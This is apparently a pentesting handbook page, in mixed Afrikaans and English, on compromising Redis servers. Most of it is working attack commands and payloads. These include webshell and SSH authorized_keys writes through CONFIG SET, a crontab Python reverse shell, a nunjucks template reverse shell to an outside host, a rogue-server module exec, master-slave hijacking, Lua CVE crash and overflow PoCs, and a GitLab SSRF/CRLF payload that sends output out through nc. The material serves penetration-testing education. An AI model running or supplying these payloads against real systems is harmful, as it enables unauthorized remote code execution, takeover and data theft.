6379 - Pentesting Redis

Reading time: 16 minutes

Basiese Inligting

Uit the docs: Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker).

Standaard gebruik Redis 'n plain-text gebaseerde protokol, maar hou in gedagte dat dit ook ssl/tls kan implementeer. Learn how to run Redis with ssl/tls here.

Standaard poort: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

Sommige geautomatiseerde gereedskap wat kan help om inligting van 'n redis instance te verkry:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Handmatige Enumerasie

Banier

Redis is 'n teksgebaseerde protokol, jy kan net die opdrag deur 'n soket stuur en die teruggestuurde waardes sal leesbaar wees. Onthou ook dat Redis met ssl/tls kan loop (maar dit is baie vreemd).

In 'n gewone Redis-instansie kan jy net met nc koppel of jy kan ook redis-cli gebruik:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Die eerste kommando wat jy kan probeer is info. Dit kan uitvoer met inligting oor die Redis-instansie of iets soos die volgende teruggee:

-NOAUTH Authentication required.

In hierdie laaste geval beteken dit dat jy geldige inlogbesonderhede nodig het om toegang tot die Redis-instansie te kry.

Redis-verifikasie

Standaard kan Redis benader word sonder inlogbesonderhede. Dit kan egter gekonfigureer word om slegs wagwoord, of gebruikersnaam + wagwoord te ondersteun.
Dit is moontlik om 'n wagwoord te stel in die redis.conf lêer met die parameter requirepass of tydelik tot die diens herbegin deur daaraan te koppel en uit te voer: config set requirepass p@ss$12E45.
Daar kan ook 'n gebruikersnaam gekonfigureer word met die parameter masteruser in die redis.conf lêer.

In sulke gevalle sal jy geldige inlogbesonderhede moet vind om met Redis te kommunikeer, dus kan jy probeer om dit brute-force.
Indien jy geldige inlogbesonderhede vind, moet jy die sessie autentiseer nadat jy die verbinding tot stand gebring het met die opdrag:

AUTH <username> <password>

Geldige geloofsbriewe sal geantwoord word met: +OK

Geverifieerde enumerasie

As die Redis-server anonieme verbindings toelaat of as jy geldige geloofsbriewe verkry het, kan jy die enumerasieproses vir die diens begin met die volgende opdragte:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Ander Redis-kommando's can be found here en here.

Let wel dat die Redis-kommando's van 'n instansie hernoem of verwyder kan word in die redis.conf lêer. Byvoorbeeld sal hierdie reël die kommando FLUSHDB verwyder:

rename-command FLUSHDB ""

Meer oor hoe om 'n Redis-diens veilig te konfigureer hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Jy kan ook in reële tyd die uitgevoerde Redis-opdragte monitor met die opdrag monitor of die top 25 stadigste navrae kry met slowlog get 25

Vind meer interessante inligting oor meer Redis-opdragte hier: https://lzone.de/cheat-sheet/Redis

Dumping Database

Binne Redis is die databasisse genummer vanaf 0 af. Jy kan sien of enigeen gebruik word in die uitset van die opdrag info binne die "Keyspace" gedeelte:

Of jy kan net alle keyspaces (databasisse) kry met:

INFO keyspace

In daardie voorbeeld word die databasis 0 en 1 gebruik. Databasis 0 bevat 4 sleutels en databasis 1 bevat 1. Standaard sal Redis databasis 0 gebruik. Om byvoorbeeld databasis 1 te dump, moet jy:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

As jy die volgende fout kry -WRONGTYPE Operation against a key holding the wrong kind of value terwyl jy GET <KEY> uitvoer, is dit omdat die sleutel dalk iets anders as 'n string of 'n integer is en 'n spesiale operator benodig om dit te vertoon.

Om die tipe van die sleutel te bepaal, gebruik die TYPE kommando, voorbeeld hieronder vir list- en hash-sleutels.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dump die databasis met npm redis-dump of python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server kan outomaties 'n interactive shell of 'n reverse shell in Redis(<=5.0.5) kry.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Inligting van here. Jy moet die pad van die webwerf-lêergids ken:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

As die webshell-toegang nie beskikbaar is nie, kan jy die databasis leegmaak nadat jy 'n rugsteun gemaak het en dit weer probeer; onthou om die databasis te herstel.

Template Webshell

Soos in die vorige afdeling kan jy ook 'n html template-lêer oorskryf wat deur 'n template engine geïnterpreteer word en sodoende 'n shell kry.

Byvoorbeeld, volgens this writeup, kan jy sien dat die aanvaller 'n rev shell in an html geïnjekteer het wat deur die nunjucks template engine geïnterpreteer is:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

SSH

Voorbeeld van hier

Wees bewus dat die resultaat van config get dir verander kan word ná ander handmatige exploit-opdragte. Dit word aanbeveel om dit eerste te hardloop onmiddellik nadat jy by Redis aangemeld het. In die uitset van config get dir kan jy die home van die redis user vind (gewoonlik /var/lib/redis of /home/redis/.ssh), en as jy dit weet, weet jy waar jy die authenticated_users lêer kan skryf om via ssh met die gebruiker redis toegang te kry. As jy die home van 'n ander geldige gebruiker ken waar jy skryfpermissies het, kan jy dit ook misbruik:

1. Genereer 'n ssh publieke-private sleutel paar op jou rekenaar: ssh-keygen -t rsa
2. Skryf die publieke sleutel na 'n lêer : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
3. Importeer die lêer in redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
4. Stoor die publieke sleutel in die authorized_keys lêer op die redis-bediener:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK

5. Laastens kan jy per ssh na die redis server gaan met die private sleutel : ssh -i id_rsa redis@10.85.0.52

Hierdie tegniek is hier geoutomatiseer: https://github.com/Avinash-acid/Redis-Server-Exploit

Verder kan stelselgebruikers ook ontdek word deur te kyk met config set dir /home/USER, en na bevestiging kan 'n nuwe authorized_keys geskryf word na /home/USER/.ssh/authorized_keys. Gebruik redis-rce-ssh om dit met 'n gebruikersnaam-woordlys te bruteforce en authorized_keys oor te skryf.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Die laaste voorbeeld is vir Ubuntu; vir Centos behoort die bostaande opdrag te wees: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Hierdie metode kan ook gebruik word om bitcoin te verdien ：yam

Laai Redis-module

1. Volg die instruksies van https://github.com/n0b0dyCN/RedisModules-ExecuteCommand om 'n Redis-module te compileer om arbitrêre opdragte uit te voer.
2. Dan het jy 'n manier nodig om die gecompileerde module op te laai
3. Laai die opgelaaide module tydens runtime met MODULE LOAD /path/to/mymodule.so
4. Lys gelaaide modules om te kontroleer dit is korrek gelaai: MODULE LIST
5. Voer opdragte uit:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999

6. Laai die module uit wanneer jy wil: MODULE UNLOAD mymodule

LUA sandbox-omseiling

Here kan jy sien dat Redis die opdrag EVAL gebruik om Lua-code in 'n sandbox uit te voer. In die gekoppelde pos kan jy sien hoe om dit misbruik deur die dofile-funksie te gebruik, maar apparently is dit nie meer moontlik nie. As jy die Lua-sandbox kan omseil kan jy arbitrêre opdragte op die stelsel uitvoer. Ook kan jy in dieselfde pos sommige opsies om DoS te veroorsaak sien.

Sommige CVEs om uit LUA te ontsnap:

• https://github.com/aodsec/CVE-2022-0543

Redis Lua Scripting Engine: Sandbox-ontsnaptings & geheue-korrupsie (CVE-2025-49844/46817/46818)

Onlangse Redis-releases het verskeie probleme in die ingebedde Lua-motor verhelp wat sandbox-ontsnap, geheuekorrupsie en kruis-gebruiker kode-uitvoering moontlik maak. Hierdie tegnieke is van toepassing wanneer:

• 'n Aanvaller by Redis kan autentiseer en Lua geaktiveer is (EVAL/EVALSHA of FUNCTION is bruikbaar)
• Redis-weergawe is ouer as 8.2.2, 8.0.4, 7.4.6, 7.2.11, of 6.2.20

Tip: As jy nuut is met Lua-sandboxing-truuks, kyk hierdie bladsy vir algemene tegnieke:

Lua Sandbox Escape

Patchevlak konteks:

• Gerepareer in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
• Geaffekteer wanneer Lua-skriptering geaktiveer is en die bogenoemde weergawes nie toegepas is nie

CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

• Idee: Dwing garbage collection terwyl die parser steeds na 'n pas-ingesette TString verwys. Wanneer GC dit terugvorder, gebruik die parser 'n vrygestelde pointer (UAF) → crash/DoS en potensiële native kode-uitvoering buite die Lua-sandbox.
• Aktiveringsstrategie:

1. Skep geheuedruk met reuse stringe om GC-aktiwiteit aan te moedig
2. Voer GC eksplisiet uit terwyl 'n groot bronstuk saamgestel word
3. Kompileer 'n baie groot Lua-skrip in 'n lus totdat GC met die ontleding belyn

Minimale EVAL-harnas om crashes te reproduseer

# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Aantekeninge:

• Meerdere pogings mag nodig wees om die GC met luaY_parser te belyn. A crash dui aan dat die UAF getref is.
• Van exploitation na RCE vereis memory grooming en native code pivoting buite die Redis Lua sandbox.

CVE-2025-46817 — Integer overflow in unpack (lbaselib.c: luaB_unpack)

• Hoof oorsaak: Die aantal n = e - i + 1 word bereken sonder unsigned casts, sodat uiterste indeksies wrap, waardeur Lua probeer om veel meer elemente te unpack as wat bestaan → stack corruption en memory exhaustion.
• PoC (DoS/mem exhaustion):

redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0

• Verwag dat die bediener sal probeer om 'n enorme aantal waardes terug te gee en uiteindelik sal crash of OOM.

CVE-2025-46818 — Cross-user privilege escalation via basic type metatables

• Root cause: By engine initialization is metatables vir basic types (e.g., strings, booleans) nie op read-only gestel nie. Enige geauthentiseerde gebruiker kan hulle poison om methods te inject wat ander gebruikers later mag aanroep.
• Voorbeeld (string metatable poisoning):

# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput

• Impak: Cross-user code execution binne die Lua sandbox deur die slagoffer se Redis permissions te gebruik. Nuttig vir lateral movement/priv-esc binne Redis ACL-kontekste.

Master-Slave Module

Die master redis se alle operasies word outomaties na die slave redis gesinchroniseer, wat beteken dat ons die kwesbare redis as 'n slave redis kan beskou wat aan die master redis verbind is wat ons beheer; dan kan ons opdragte na ons eie redis stuur.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF praat met Redis

As jy 'n onversleutelde teks versoek aan Redis kan stuur, kan jy daarmee kommunikeer, aangesien Redis die versoek reël vir reël lees en net met foutboodskappe reageer op die reëls wat dit nie verstaan nie:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis.

Voorbeeld: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7 is 'n SSRF vulnerability en 'n CRLF ontdek. Die SSRF vulnerability was in die import project from URL functionality toe 'n nuwe projek geskep is en het toegang tot arbitrêre IP's toegelaat in die vorm [0:0:0:0:0:ffff:127.0.0.1] (dit sal 127.0.0.1 bereik), en die CRLF vuln is uitgebuit deur net adding %0D%0A karakters by die URL te voeg.

Daarom was dit moontlik om hierdie kwetsbaarhede te misbruik om met die Redis-instansie wat die queues van gitlab bestuur te kommunikeer en daardie queues te misbruik om obtain code execution. Die Redis queue abuse payload is:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

En die URL encode versoek misbruik van SSRF en CRLF om whoami uit te voer en die uitset via nc terug te stuur is:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Om een of ander rede (soos vir die outeur van https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ waarvandaan hierdie inligting geneem is) het die eksploitasie met die git skema gewerk en nie met die http skema nie.

Verwysings

• Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
• NVD: CVE-2025-49844
• NVD: CVE-2025-46817
• NVD: CVE-2025-46818
• Wiz analysis of Redis RCE (CVE-2025-49844)
• PoC: CVE-2025-49844 — Lua parser UAF
• PoC: CVE-2025-46817 — unpack integer overflow
• PoC: CVE-2025-46818 — basic-type metatable abuse